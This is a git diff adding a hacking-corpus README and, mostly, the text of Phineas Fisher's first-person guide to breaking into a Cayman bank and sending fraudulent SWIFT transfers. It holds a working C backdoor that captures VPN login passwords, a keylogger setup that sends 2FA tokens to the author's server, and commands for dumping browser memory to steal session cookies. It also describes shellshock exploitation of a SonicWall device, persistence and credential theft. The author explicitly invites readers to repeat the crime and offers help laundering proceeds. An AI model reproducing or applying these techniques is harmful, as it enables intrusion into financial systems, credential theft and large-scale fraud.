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README.md CHANGED
@@ -1,3 +1,42 @@
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- ---
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- license: mit
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- ---
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
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+ ---
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+ language: en
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+ license: other
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+ task_categories:
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+ - text-generation
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+ - text-classification
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+ tags:
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+ - security
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+ - hacking
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+ - phrack
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+ - infosec
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+ - corpus
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+ size_categories:
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+ - 1K<n<10K
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+ ---
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+
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+ # Hacking Text Corpus
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+
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+ A research corpus of historical computer security writings, hacker zines, and hacktivist texts. Built for NLP, text generation, discourse analysis, and security research.
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+
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+ ## Contents
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+
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+ ### Phrack Magazine (`phrack/`)
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+ - **72 issues** (1985-2024), **1,026 articles**
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+ - ~55 MB of raw text, ~4.76 million words
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+ - Organized as `phrack/issue{N}/{article}.txt`
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+ - Topics: exploit development, reverse engineering, networking, phreaking, hacker culture, OS internals
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+
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+ ### Phineas Fisher (`phineas/`)
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+ - `gamma.txt` - Gamma Group / FinFisher hack writeup
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+ - `ht.txt` - Hacking Team breach writeup
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+ - `cayman.txt` - Cayman National Bank hack writeup
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+
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+ ### THC (`thc.md`)
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+ - The Hacker's Choice tips, tricks & cheat sheet
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+ - ~2,900 lines covering shells, tunneling, pivoting, network tricks
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+
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+ ## Intended Use
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+ Academic research, NLP training, discourse analysis, security education.
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+
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+ ## Legal Notice
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+ All texts are publicly available. Copyright remains with original authors. Phrack content sourced from [archives.phrack.org](https://archives.phrack.org).
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1
+ _ _ _ ____ _ _
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+ | | | | __ _ ___| | __ | __ ) __ _ ___| | _| |
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+ | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / |
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+ | _ | (_| | (__| < | |_) | (_| | (__| <|_|
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+ |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
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+
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+ A DIY guide to rob banks
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+
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+ ^__^
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+ (oo)\_______
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+ ( (__)\ )\/\
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+ _) / ||----w |
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+ (.)/ || ||
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+ `'
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+ By Subcowmandante Marcos
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+
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+ ********
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+ I am a wild child
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+ Innocent, free, wild
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+ I am all ages
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+ My grandparents live on in me
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+
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+ I am a brother of the clouds
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+ And I only know how to share
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+ I know that everything belongs to everyone,
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+ That everything is alive in me
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+
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+ My heart is a star
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+ I am a son of the earth
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+ Traveling aboard my spirit
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+ I walk to eternity
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+ ********
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+
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+ These are my simple words that seek to touch the hearts of people who are simple and humble, but also dignified and rebellious. These are my simple words to tell about my hacks, and to invite other people to hack with cheerful rebellion.
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+
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+ I hacked a bank. I did it to give an injection of liquidity, but this time from below and to the simple and humble people who resist and rebel against injustices throughout the world. In other words: I robbed a bank and gave away the money. But it wasn't me alone who did it. The free software movement, the offensive powershell community, the metasploit project and the hacker community in general are what made this hack possible. The exploit.in community made it possible to convert intrusion into a bank's computers into cash and bitcoin. The Tor, Qubes and Whonix projects, together with the cryptographers and activists who defend privacy and anonymity, are my nahuales, that is, my protectors [1]. They accompany me every night and make it possible for me to remain free.
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+
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+ I did nothing complicated. I only saw the injustice in this world, felt love for all beings, and expressed that love in the best way I could, through the tools I know how to use. Hate does not move me to banks, or to the rich, but a love for life, and the desire for a world where everyone can realize their potential and live a full life. I would like to explain a little how I see the world, so that you can get an idea of ​​how I came to feel and act like this. And I also hope that this guide is a recipe that you can follow, combining the same ingredients to bake the same cake. Who knows, out there these powerful tools could end up also serving you to express the love you feel.
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+
40
+ ---------
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+ We are all innocent, free, wild wild children
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+ We are all brothers of the trees children of the earth
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+ We just have to put in our hearts a burning star
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+ (song by Alberto Kuselman and Chamalú)
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+ ---------
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+
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+ The police will invest a chingo of resources to investigate me. They think the system works, or at least it will work once they catch all the “bad boys”. I am nothing more than the product of a system that does not work. As long as there is injustice, exploitation, alienation, violence and ecological destruction, many more will come like me: an endless series of people who will reject as illegitimate the bad system responsible for this suffering. That badly done system is not going to get fixed by arresting me. I am only one of the millions of seeds that Tupac planted 238 years ago in La Paz [2], and I hope that my actions and writings water the seed of rebellion in their hearts.
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+
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+ [1] https://en.wikipedia.org/wiki/Cadejo#The_legend
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+ [2] It was before he was killed by the Spaniards, just a day like yesterday, that he said that "they will only kill me, but tomorrow I will return and be millions."
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+
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+ ********
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+ ________________________________
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+ < To be seen, we cover our faces >
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+ --------------------------------
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+ \
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+ \ ^__^
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+ (oo)\_______
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+ ( (__)\ )\/\
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+ _) / ||----w |
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+ (.)/ || ||
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+ `'
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+ ********
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+
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+ To make us listen, hackers sometimes have to cover their faces, because we are not interested you in seeing our face but instead in understanding our word. The mask can be from Guy Fawkes, Salvador Dalí, from Fsociety, or in some cases the puppet of a crested toad. By affinity, this time I went to dig up a dead man to lend me his balaclava. I think then that I should clarify that Sup Marcos is innocent of all that is told here because, besides being dead, I did not consult him. I hope that his ghost, if he finds out from a Chiapaneca hammock, knows how to find the goodness to, as they say there, "dismiss this deep fake" with the same gesture with which an unwelcome insect moves away - which could well be a beetle.
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+
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+ Even so with the balaclava and the name change, many of those who support my actions may pay too much attention to my person. With their own autonomy shattered for a lifetime of domination, they will be looking for a leader to follow, or a hero who saves them. But behind the balaclava, I'm just a girl. We are all wild children. We just have to place a star in the beds in our hearts.
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+
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+ [1 - Why expropriate]
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+ Capitalism is a system in which a minority has come to appropriate a vast majority of the world's resources through war, theft and exploitation. By snatching the commons [1], they forced those below to be under the control of that minority that owns everything. It is a system fundamentally incompatible with freedom, equality, democracy and the Suma Qamaña (Good Living). It may sound ridiculous to those of us who have grown up in a propaganda machine that taught us that capitalism is freedom, but in truth what I am saying is not a new or controversial idea [2]. The founders of the United States of America knew they had to choose between creating a capitalist society, or a free and democratic society. Madison recognized that "the man who possesses wealth, the one who lies on his couch or rolls in his carriage, cannot judge the wishes or feelings of the day laborer." But to protect against the "spirit of equalization" of landless day laborers, it seemed to him that only landowners should vote, and that the government had to serve to "protect the opulent minority against the great majority." John Jay was more to the point and said: "Those who own the country should rule it."
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+
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+ ********
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+ ____________________________________________________
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+ / There is no such thing as green capitalism. \
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+ | Let’s make capitalism history before we |
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+ \ become history. /
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+ ----------------------------------------------------
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+ \ /\ ___ /\
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+ \ // \/ \/ \\
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+ (( O O ))
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+ \\ / \ //
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+ \/ | | \/
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+ | | | |
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+ | | | |
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+ | o |
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+ | | | |
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+ |m| |m|
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+
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+ Evgeny, the great ignored elephant, doesn't understand why everyone pretends not to see him on the panels on climate change, so here I give him a chance to say his lines.
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+ ********
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+
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+ In the same way that bell hooks [3] argues that the rejection of the patriarchal culture of domination is an act in defense of the male's own interest (since it emotionally mutilates them and prevents them from feeling full love and connection), I think that the culture of domination of capitalism has a similar effect on the rich, and that they could have fuller and more satisfying lives if they rejected the class system from which they believe they benefit. For many, class privilege amounts to a childhood of emotional neglect, followed by a life of superficial social interactions and meaningless work. In the end they may know that they can only genuinely connect with people when they work with them as their peers, and not when they put them at their service. They may know that sharing their material wealth is the best they can do with it. You may also know that the significant experiences, connections and relationships that count are not those that come from business interactions, but precisely to reject the logic of the market and give without expecting anything in return. They may know that all they need to escape from their prison and really live is to get carried away, give up control, and take a leap of faith. But most lack courage.
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+
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+ Then it would be naive of us to direct our efforts to try to produce some kind of spiritual awakening in the rich [4]. As Astata Shakur says: "No one in the world, no one in history, has ever achieved his freedom by appealing to the moral sense of his oppressors". In fact, when the rich divide their money, they almost always do it in a way that reinforces the system that allowed them to amass their enormous and illegitimate wealth [5]. And change is unlikely to come through a political process; As Lucy Parsons says: "Let us never be fooled that the rich will let us vote to take away their wealth." Colin Jenkins justifies the expropriation with these words [6]:
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+
96
+ ---------
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+ Make no mistake, expropriation is not theft. It is not the confiscation of money earned "with the sweat of the forehead". It is not theft of private property. It is, rather, the recovery of enormous amounts of land and wealth that have been forged with stolen natural resources, human slavery, forced labor force and amassed in hundreds of years by a small minority. This wealth ... is illegitimate, both for moral purposes and for the exploitation mechanisms that have been used to create it.
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+ ---------
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+
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+ For Colin, the first step is that “we have to free ourselves from our mental ties (believing that wealth and private property have been earned by those who monopolize them; and that, therefore, they should be something to respect, revere, and even something to pursue), open our minds, study and learn from history, and recognize this illegitimacy together”. Here are some books that have helped me with this: [7] [8] [9] [10] [11].
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+
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+ According to Barack Obama, economic inequality is "the challenge that defines our time." Computer hacking is a powerful tool to combat economic inequality. The former director of the NSA, Keith Alexander, agrees and says that hacking is responsible for "the greatest transfer of wealth in history."
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+
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+ *********
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+ ______________________________
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+ / The story is ours \
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+ \ and it is done by hackers! /
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+ ----------------------------
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+ \
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+ \ ^__^
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+ (oo)\_______
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+ ( (__)\ )\/\
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+ _) / ||----w |
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+ (.)/ || ||
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+ `'
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+ Everyone together, now and forever!
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+ *********
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+
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+ [1] https://sursiendo.com/docs/Pensar_desde_los_comunes_web.pdf
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+ [2] https://chomsky.info/commongood02/
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+ [3] The Will to Change: Men, Masculinity, and Love
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+ [4] their own religion is very clear about this: https://dailyverses.net/es/materialismo
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+ [5] https://elpulso.hn/la-filantropia-en-los-tiempos-del-capitalismo/
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+ [6] http://www.hamptoninstitution.org/expropriation-or-bust.html
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+ [7] Manifiesto por una Civilización Democrática. Volumen 1, Civilización: La Era de los Dioses Enmascarados y los Reyes Cubiertos
126
+ [8] Calibán y la Bruja
127
+ [9] En deuda: Una historia alternativa de la economía
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+ [10] La otra historia de los Estados Unidos
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+ [11] Las venas abiertas de América Latina
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+
131
+ ********
132
+ _______________________________
133
+ < Our weapons are our keyboards >
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+ --------------------------------
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+ \
136
+ \ ^__^
137
+ (oo)\_______
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+ ( (__)\ )\/\
139
+ _) / ||----w |
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+ (.)/ || ||
141
+ `' ^^ ^^
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+ ********
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+
144
+ [2 - Introduction]
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+ This guide explains how I hacked the Cayman Bank and Trust Company (Isle of Man). Why am I publishing this, almost four years later?
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+
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+ 1) To show what is possible
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+
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+ Hackers working for social change have limited themselves to developing security and privacy tools, DDoS, performing vandalism and leaks. Wherever you go, there are radical projects for a social change in a complete state of precariousness, and there would be much that they could do with some expropriated money. At least for the working class, bank robbery is something socially accepted, and those who do are seen as heroes of the people. In the digital age, robbing a bank is a non-violent, less risky act, and the reward is greater than ever. So why are only black hat hackers doing it for their personal benefit, and never hacktivists to finance radical projects? Maybe they don't think they are capable of doing it. The big bank hacks are on the news every so often, such as the hacking of the Bank of Bangladesh [1], which was attributed to North Korea, or the hacking of banks attributed to the Carbanak group [2], which they describe as a very large and well organized group of Russian hackers, with different members who would be specialized in different tasks. But, it is not that complicated.
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+
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+ It is because of our collective belief that the financial system is unquestionable that we exercise control over ourselves, and maintain the class system without those above having to do anything [3]. Being able to see how vulnerable and fragile the financial system really is helps us break that collective hallucination. That is why banks have a strong incentive not to report hacks, and to exaggerate how sophisticated the attackers are. None of the financial hacks I made, or those I've known, have ever been reported. This is going to be the first, and not because the bank wanted to, but because I decided to publish it.
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+
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+ As you are about to learn in this home guide, hacking a bank and transferring money through the SWIFT network does not require the support of any government or a large and specialized group. It is something totally possible being a mere amateur hacker, with only public tools and basic knowledge of how to write a script.
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+
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+ [1] https://elpais.com/economia/2016/03/17/actualidad/1458200294_374693.html
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+ [2] https://securelist.lat/el-gran-robo-de-banco-el-apt-carbanak/67508/
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+ [3] https://es.wikipedia.org/wiki/Hegemon%C3%ADa_cultural
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+
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+ 2) Help withdraw cash
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+
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+ Many of those who read this already have, or with a little study will be able to acquire, the skills needed to carry out a hack like this. However, many will find that they lack the necessary criminal connections to get the handles in condition. In my case, this was the first bank that hacked, and at that time I only had a few and mediocre accounts ready to withdraw the cash (known as bank drops), so it was only a few hundred thousand that I could withdraw at total, when it is normal to get millions. Now, on the other hand, I do have the knowledge and connections to get cash more seriously, so if you are hacking a bank but need help to convert that into real money, and you want to use that money to finance radical social projects, you can contact me.
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+
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+ 3) Collaborate
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+
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+ It is possible to hack banks as an amateur who works alone, but the net is that, in general, it is not as easy as I paint it here. I was lucky with this bank for several reasons:
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+
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+ 1. It was a small bank, so it took me much less time to understand how everything worked.
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+
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+ 2. They had no procedure to check the sent swift messages. Many banks have one, and you need to write code to hide your transfers from their monitoring system.
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+
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+ 3. They only used password authentication to access the application with which they connected to the SWIFT network. Most banks now use RSA SecurID, or some form of 2FA. You can skip this by typing code to get an alert when your token enters, so you can use it before it expires. It's simpler than it seems: I used Get-Keystrokes [1], modifying it so that instead of storing the pressed keys, a GET request is made to my server every time it is detected that they have entered a username. This request adds the username to the url and, as they type the token, several GETs are made with the token digits concatenated to the url. On my side I leave this running in the meantime:
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+
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+ ```
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+ ssh me@my_secret_server 'tail -f /var/log/apache2/access_log'
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+ | while read i; do echo $i; aplay alarma.wav &> /dev/null; done
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+ ```
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+
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+ If it is a web application, you can skip the 2FA by stealing the cookie after they have authenticated. I am not an APT with a team of coders who can make me customized tools. I am a simple person who subsists on what the terminal gives [2], so what I use is:
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+
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+ ```
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+ procdump64 /accepteula -r -ma PID_of_browser
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+ strings64 /accepteula * .dmp | findstr PHPSESSID 2> nul
183
+ ```
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+
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+ or going through findstr rather than strings, which makes it much faster:
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+
187
+ ```
188
+ findstr PHPSESSID * .dmp> tmp
189
+ strings64 /accepteula tmp | findstr PHPSESSID 2> nul
190
+ ```
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+
192
+ Another way to skip it is to access your session with a hidden VNC (hvnc) after they have authenticated, or with a little creativity you could also focus on another part of their process instead of sending SWIFT messages directly.
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+
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+ I think that if I collaborated with other experienced bank hackers we could hack hundreds of banks like Carnabak, instead of doing one from time to time on my own. So if you have experience with similar hacks and want to collaborate, contact me. You will find my email and my PGP key at the end of the previous guide [3].
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+
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+ [1] https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1
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+ [2] https://lolbas-project.github.io/
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+ [3] https://www.exploit-db.com/papers/41914
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+
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+ *******
201
+ ________________________________________
202
+ / If robbing a bank could change things, \
203
+ \ they’d make it illegal. /
204
+ ----------------------------------------
205
+ \
206
+ \ ^__^
207
+ (oo)\_______
208
+ ( (__)\ )\/\
209
+ _) / ||----w |
210
+ (.)/ || ||
211
+ *******
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+
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+ [3 - Be careful out there]
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+ It is important to take some simple precautions. I will refer to this same section of my last guide [1], since it seems to work just fine [2]. All I have to add is that, in Trump's words, "Unless you catch hackers in the act, it is difficult to determine who was doing the hacking," so the police are getting more and more creative [3][4] in their attempts to grab criminals in the act (when their encrypted hard drives are unlocked). So it would be nice if for example you carry a certain bluetooth device and configure your computer to turn off when it moves beyond a certain range, or when an accelerometer detects movement, or something like that.
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+
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+ It may be that writing long articles detailing your actions and your ideology is not the safest thing in the world (oops!), but at times I feel I have to.
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+
218
+ --------
219
+ If I didn't believe in who listens to me
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+ If I didn't believe in what hurts
221
+ If I didn't believe in what's left
222
+ If I didn't believe in what I fought
223
+ What a thing ...
224
+ What was the club without a quarry?
225
+ --------
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+
227
+ [1] https://www.exploit-db.com/papers/41914
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+ [2] https://www.wifi-libre.com/topic-1268-italia-se-rinde-y-deja-de-buscar-a-phineas-fisher.html
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+ [3] https://www.wired.com/2015/05/silk-road-2/
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+ [4] https://motherboard.vice.com/en_us/article/59wwxx/fbi-airs-alexandre-cazes-alphabay-arrest-video
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+
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+ [[IMAGE REMOVED: ASCII ART OF SKELETON SAYING BE GAY, DO CRIMES IN SPANISH]]
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+
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+ Many blame queer people for the decline of this society;
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+ we are proud of it
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+ Some believe we want to reduce to ashes
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+ this civilization and its moral fabric;
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+ They couldn't be more right
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+ They often describe us as depraved, decadent and revolting
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+ But alas! They haven't seen anything yet
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+ (https://theanarchistlibrary.org/library/mary-nardini-gang-be-gay-do-crime)
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+
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+ [4 - Get access]
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+ In another place [1] I talked about the main ways to get initial access to a company's network during a targeted attack. However, this was not a targeted attack. I did not set out to hack a specific bank, what I wanted was to hack any bank, which ends up being a much simpler task. This type of nonspecific approach was popularized by Lulzsec and Anonymous [2]. As part of the earlier essay, I prepared an exploit and post-exploitation tools for a popular VPN device. Then I started scanning the entire internet with zmap and zgrab to identify other vulnerable devices [3]. I had the scanner save the vulnerable IPs, along with the common and alt names of the device's SSL certificate, the device's Windows domain names, and the reverse DNS lookup of the IP. I grepped the results for the word "bank", and there were plenty to choose from, but the truth is that I was attracted to the word "Cayman", and that's how I came to choose this one.
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+
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+ [1] https://www.exploit-db.com/papers/41914
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+ [2] https://web.archive.org/web/20190329001614/http://infosuck.org/0x0098.png
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+ [3] https://github.com/zmap/zmap
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+
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+ [4.1 - The Exploit]
251
+ When I published my latest DIY guide [1] I did not reveal the details of the sonicwall exploit that I had used to hack Hacking Team, as it was very useful for other hacks (such as this one) and I still had not finished having fun with it. Determined then to hack Hacking Team, I spent weeks reverse engineering their sonicwall ssl-vpn model, and even managed to find several memory corruption vulnerabilities that were more or less difficult to exploit, before I realized that the device was easily exploitable with shellshock [2]. When shellshock came out, many sonicwall devices were vulnerable, with only a request to cgi-bin/welcome and a payload in the user-agent. Dell released a security update and an advisory for these versions. The version used by Hacking Team and this bank had the vulnerable bash version, but the cgi requests did not trigger the shellshock- except for the requests to a shell script, and there was one accessible: cgi-bin/jarrewrite.sh. This seems to have escaped Dell's notice, since they never released a security update or an advisory for that version of the sonicwall. And, kindly, Dell had setuid’d root on dos2unix, leaving the device easy to root.
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+
253
+ In my last guide many read that I spent weeks researching a device until I found an exploit, and assumed that it meant that I was some kind of elite hacker. The reality, that is, the fact that it took me two weeks to realize that it was trivially exploitable with shellshock, is perhaps less flattering to me, but I think it is also more inspiring. Shows that you can really do this for yourself. You don't need to be a genius, I certainly am not. Actually my work against Hacking Team started a year earlier. When I discovered Hacking Team and the Gamma Group in the CitizenLab investigations [3][4], I decided to explore a bit and see if I could find anything. I didn't get anywhere with Hacking Team, but I was lucky with Gamma Group, and I was able to hack their customer support portal with basic sql injection and file upload vulnerabilities [5][6]. However, although the customer support server gave me a pivot towards the internal network of Gamma Group, I was unable to penetrate further into the company. From this experience with the Gamma Group and other hacks, I realized that I was really limited by my lack of knowledge about privilege escalation and lateral movement in windows domains, active directory and windows in general. So I studied and practiced (see section 11), until I felt I was ready to pay a visit to Hacking Team almost a year later. The practice paid off, and this time I was able to make a complete commitment from the company [7]. Before I realized that I could enter with shellshock, I was willing to spend happy whole months of life studying exploit development and writing a reliable exploit for one of the memory corruption vulnerabilities I had encountered. I just knew that Hacking Team needed to be exposed, and that it would take me as much time as necessary and learn what I had to learn to get it. To perform these hacks you don't need to be bright. You don't even need great technical knowledge. You just need dedication, and believe in yourself.
254
+
255
+ [1] https://www.exploit-db.com/papers/41914
256
+ [2] https://es.wikipedia.org/wiki/Shellshock_(error_de_software)
257
+ [3] https://citizenlab.ca/tag/hacking-team/
258
+ [4] https://citizenlab.ca/tag/finfisher/
259
+ [5] https://theintercept.com/2014/08/07/leaked-files-german-spy-company-helped-bahrain-track-arab-spring-protesters/
260
+ [6] https://www.exploit-db.com/papers/41913
261
+ [7] https://web.archive.org/web/20150706095436/https://twitter.com/hackingteam
262
+
263
+ [4.2 - The Backdoor]
264
+ Part of the backdoor I prepared for Hacking Team (see the first footnote in section 6) was a simple wrapper on the login page to capture passwords:
265
+
266
+ ```
267
+ #include <stdio.h>
268
+ #include <unistd.h>
269
+ #include <fcntl.h>
270
+ #include <string.h>
271
+ #include <stdlib.h>
272
+
273
+ int main()
274
+ {
275
+ char buf[2048];
276
+ int nread, pfile;
277
+
278
+ /* pull the log if we send a special cookie */
279
+ char *cookies = getenv("HTTP_COOKIE");
280
+ if (cookies && strstr(cookies, "our private password")) {
281
+ write(1, "Content-type: text/plain\n\n", 26);
282
+ pfile = open("/tmp/.pfile", O_RDONLY);
283
+ while ((nread = read(pfile, buf, sizeof(buf))) > 0)
284
+ write(1, buf, nread);
285
+ exit(0);
286
+ }
287
+
288
+ /* the parent stores the POST data and sends it to the child, which is the actual login program */
289
+ int fd[2];
290
+ pipe(fd);
291
+ pfile = open("/tmp/.pfile", O_APPEND | O_CREAT | O_WRONLY, 0600);
292
+ if (fork()) {
293
+ close(fd[0]);
294
+
295
+ while ((nread = read(0, buf, sizeof(buf))) > 0) {
296
+ write(fd[1], buf, nread);
297
+ write(pfile, buf, nread);
298
+ }
299
+
300
+ write(pfile, "\n", 1);
301
+ close(fd[1]);
302
+ close(pfile);
303
+ wait(NULL);
304
+ } else {
305
+ close(fd[1]);
306
+ dup2(fd[0],0);
307
+ close(fd[0]);
308
+ execl("/usr/src/EasyAccess/www/cgi-bin/.userLogin",
309
+ "userLogin", NULL);
310
+ }
311
+ }
312
+ ```
313
+
314
+ In the case of Hacking Team, they were logging on to the VPN with single-use passwords, so the VPN gave me access only to the network, and from there it took an extra effort to get domain admins on their network. In the other guide I wrote about side passes and privilege escalation in windows domains [1]. In this case, on the other hand, it was the same Windows domain passwords that were used to authenticate against the VPN, so I could get a good user password, including that of the domain admin. Now I had full access to his network, but usually this is the easy part. The most complicated part is to understand how they operate and how to get what you want out of their network.
315
+
316
+ [1] https://www.exploit-db.com/papers/41914
317
+ [4.3 - Fun facts]
318
+ Following the investigation they did about the hacking, I found it interesting to see that, by the same time I did it, the bank could have been compromised by someone else through a targeted phishing email [1]. As the old saying goes, "give a man an exploit and he will have access for a day, teach phishing and he will have access all his life" [2]. The fact that someone else, by chance and at the same time as me, put this small bank in the spotlight (they registered a domain similar to the real domain of the bank to be able to phish from there) suggests that bank hacks occur with much more frequently than is known.
319
+
320
+ A fun suggestion for you to follow the investigations of your hacks is to have a backup access, one that you won't touch unless you lose normal access. I have a simple script that expects commands once a day, or less, just to maintain long-term access in case they block my regular access. Then I had a powershell empire [3] calling home more frequently to a different IP, and I used empire to launch meterpreter [4] against a third IP, where I did most of my work. When PWC started investigating the hacking, they found my use of empire and meterpreter and cleaned those computers and blocked those IPs, but they didn't detect my backup access. PWC had placed network monitoring devices, in order to analyze the traffic and see if there were still infected computers, so I didn't want to connect much to their network. I only launched mimikatz once to get the new passwords, and from there I could continue my research by reading their emails in the outlook web access.
321
+
322
+ [1] page 47, Project Pallid Nutmeg.pdf, in torrent
323
+ [2] https://twitter.com/thegrugq/status/563964286783877121
324
+ [3] https://github.com/EmpireProject/Empire
325
+ [4] https://github.com/rapid7/metasploit-framework
326
+
327
+ [5 - Understand Banking Operations]
328
+ To understand how the bank operated, and how I could get money, I followed the techniques that I summarized in [1], in section “13.3 - Internal Recognition”. I downloaded a list of all file names, grepped for words like "SWIFT" and "transfer", and downloaded and read all files with interesting names. I also looked for emails from employees, but by far the most useful technique was to use keyloggers and screenshots to see how bank employees worked. I didn't know it at the time, but for this, Windows has a very good monitoring tool [2]. As described in technique no. 5 of section 13.3 in [1], I made a capture of the keys pressed throughout the domain (including window titles), I did a grep in search of SWIFT, and found some employees opening ‘SWIFT Access Service Bureau - Logon’. For those employees, I ran meterpreter as in [3], and used the post/windows/gather/screen_spy module to take screenshots every 5 seconds, to see how they worked. They were using a remote citrix app from the bottomline company [4] to access the SWIFT network, where each payment message SWIFT MT103 had to go through three employees: one to "create" the message, one to "verify" it, and another to "authorize it." Since I already had all their credentials thanks to the keylogger, I could easily perform all three steps myself. And from what I knew after seeing them work, they didn't review the SWIFT messages sent, so I should have enough time to get the money from my bank drops before the bank realized and tried to reverse the transfers.
329
+
330
+ [1] https://www.exploit-db.com/papers/41914
331
+ [2] https://cyberarms.wordpress.com/2016/02/13/using-problem-steps-recorder-psr-remotely-with-metasploit/
332
+ [3] https://www.trustedsec.com/blog/no_psexec_needed/
333
+ [4] https://www.bottomline.com/uk/products/bottomline-swift-access-services
334
+
335
+ ********
336
+ _______________________________________
337
+ / Whoever robs a thief, gets 100 years \
338
+ \ of forgiveness. /
339
+ ---------------------------------------
340
+ \
341
+ \ ^__^
342
+ (oo)\_______
343
+ ( (__)\ )\/\
344
+ _) / ||----w |
345
+ (.)/ || ||
346
+ `'
347
+ ********
348
+
349
+ [6 - Send the money]
350
+ I had no idea what I was doing, so I was discovering it along the way. Somehow, the first transfers I sent went well. The next day, I screwed up by sending a transfer to Mexico that ended my fun. This bank sent its international transfers through its correspondent account in Natwest. I had seen that the correspondent account for transfers in pounds sterling (GBP) appeared as NWBKGB2LGPL, while for the others it was NWBKGB2LXXX. The Mexican transfer was in GBP, so I assumed that I had to put NWBKGB2LGPL as a correspondent. If I had prepared it better I would have known that the GPL instead of XXX indicated that the payment would be sent through the UK Fast Payment Service, rather than as an international transfer, which obviously will not work when you are trying of sending money to Mexico. So the bank got an error message. On the same day I also tried to send a payment of £200k to the UK using NWBKGB2LGPL, which was not made because 200k exceeded the shipping limit by fast payments, and would have had to use NWBKGB2LXXX instead. They also received an error message for this. They read the messages, investigated it, and found the rest of my transfers.
351
+
352
+ [7 - The loot]
353
+ From what I write, you can get a complete idea of what my ideals are and to what things I give my support. But I would not like to see anyone in legal trouble for receiving expropriated funds, so not another word of where the money went. I know that journalists are probably going to want to put some number on how many dollars were distributed in this hack and similar ones, but I prefer not to encourage our perverse habit of measuring the actions just by their economic value. Any action is admirable if it comes from love and not from the ego. Unfortunately those above, the rich and powerful, public figures, businessmen, people in "important" positions, those that our society most respects and values, those have been placed where they are based on acting more since the ego than from love. It is in the simple, humble and "invisible" people that we should look at and whom we should admire.
354
+
355
+ [8 - Cryptocurrencies]
356
+ Redistributing expropriated money to Chilean projects seeking positive social change would be easier and safer if those projects accepted anonymous donations via cryptocurrencies such as monero, zcash, or at least bitcoin. It is understood that many of these projects have an aversion to cryptocurrencies, as they resemble some strange hypercapitalist dystopia rather than the social economy we dream of. I share their skepticism, but I think they are useful to allow donations and anonymous transactions, by limiting government surveillance and control. Same as cash, whose use many countries are trying to limit for the same reason.
357
+
358
+ [9 - Powershell]
359
+ In this operation, as in [1], I used a lot of powershell. Then, powershell was super cool, you could do almost anything you wanted, without antivirus detection and with very little forensic footprint. It happens that with the introduction of AMSI [2], offensive powershell is retiring. Today offensive C# is what is on the rise, with tools like [3][4][5][6]. AMSI is going to get to .NET for 4.8, so the tools in C# probably still have a couple of years left before they get dated. And then we will use C or C++ again, or maybe Delphi will become fashionable again. The specific tools and techniques change every few years, but basically it is not so much what changes, today hacking is essentially the same thing it was in the 90s. In fact, all the powershell scripts used in this guide and in the previous one are still perfectly usable today, after a little obfuscation of your own.
360
+
361
+ [1] https://www.exploit-db.com/papers/41914
362
+ [2] https://medium.com/@byte_St0rm/adventures-in-the-wonderful-world-of-amsi-25d235eb749c
363
+ [3] https://cobbr.io/SharpSploit.html
364
+ [4] https://github.com/tevora-threat/SharpView
365
+ [5] https://www.harmj0y.net/blog/redteaming/ghostpack/
366
+ [6] https://web.archive.org/web/20191114034546/https://rastamouse.me/2019/08/covenant-donut-tikitorch/
367
+
368
+ ********
369
+ ___________________________
370
+ / Fo Sostyn, Fo Ordaag \
371
+ \ Financial Sector Fuck Off /
372
+ ---------------------------
373
+ \
374
+ \ ^__^
375
+ (oo)\_______
376
+ ( (__)\ )\/\
377
+ _) / ||----w |
378
+ (.)/ || ||
379
+ `'
380
+ ********
381
+
382
+ [10 - Torrent]
383
+ Privacy for the weak, transparency for the powerful.
384
+
385
+ Offshore banking provides executives, politicians and millionaires with privacy from of their own government. Exposing them may sound hypocritical on my part, since I am generally in favor of privacy and against government oversight. But the law was already written by and for the rich: it protects its system of exploitation, with some limits (such as taxes) so that society can function and the system does not collapse under the weight of its own greed. So no, privacy is not the same for the powerful, when it allows them to evade the limits of a system designed to give them privileges; and privacy for the weak, whom it protects from a system designed to exploit them.
386
+
387
+ Even journalists with the best intentions find it impossible to study such a huge amount of material and know what will be relevant for people in different parts of the world. When I leaked the Hacking Team files, I gave The Intercept a copy of the emails one month in advance. They found a couple of the 0days that Hacking Team was using, previously reported them to MS and Adobe and published a few stories once the leak was made public. There is no point of comparison with the enormous amount of articles and research that came after the complete leak to the public. Seeing it this way, and also considering the (not) editorialized publication [1] of the Panama papers, I think that a public and complete leak of this material is the right choice.
388
+
389
+ [1] https://www.craigmurray.org.uk/archives/2016/04/corporate-media-gatekeepers-protect-western-1-from-panama-leak/
390
+
391
+ Psychologists found that those who are lower in the hierarchies tend to understand and empathize with those at the top, but vice versa is less common. This explains why, in this sexist world, many men joke about their inability to understand women, as if it were an irresolvable mystery. Explains why the rich, if they stop to think about those who live in poverty, give advice and "solutions" so alien to reality that we want to laugh. Explain why we revere executives as brave who take risks. What do they risk, beyond their privilege? If all their ventures fail, they will have to live and work like the rest of us. It also explains why there will be many who accuse me of being irresponsible and dangerous by leaking this without redaction. They feel the "danger" around an offshore bank and its customers much more intensely than they feel the misery of those dispossessed by this unfair and unequal system. And this leak of their finances, is it a danger to them, or perhaps only to their position at the top of a hierarchy that should not even exist?
392
+
393
+ [[ IMAGE REMOVED: ASCII ART OF PIRATE SAYING QUOTE IN SPANISH ]]
394
+ Translation: “They vilify us, these infamous people; When the only difference is that they steal from the poor, protected by the law, heaven knows, and we get the rich under the sole protection of our own courage. Don't you have to prefer to be one of us, rather than indulge those villains in search of a job? - Captain Bellamy”
395
+
396
+ [11 - Learn to hack]
397
+ You don't start hacking well. You start hacking shit, thinking it's good, and then gradually you get better. That is why I always say that one of the most valuable virtues is persistence.
398
+ - Octavia Butler's advice for the APT candidate
399
+
400
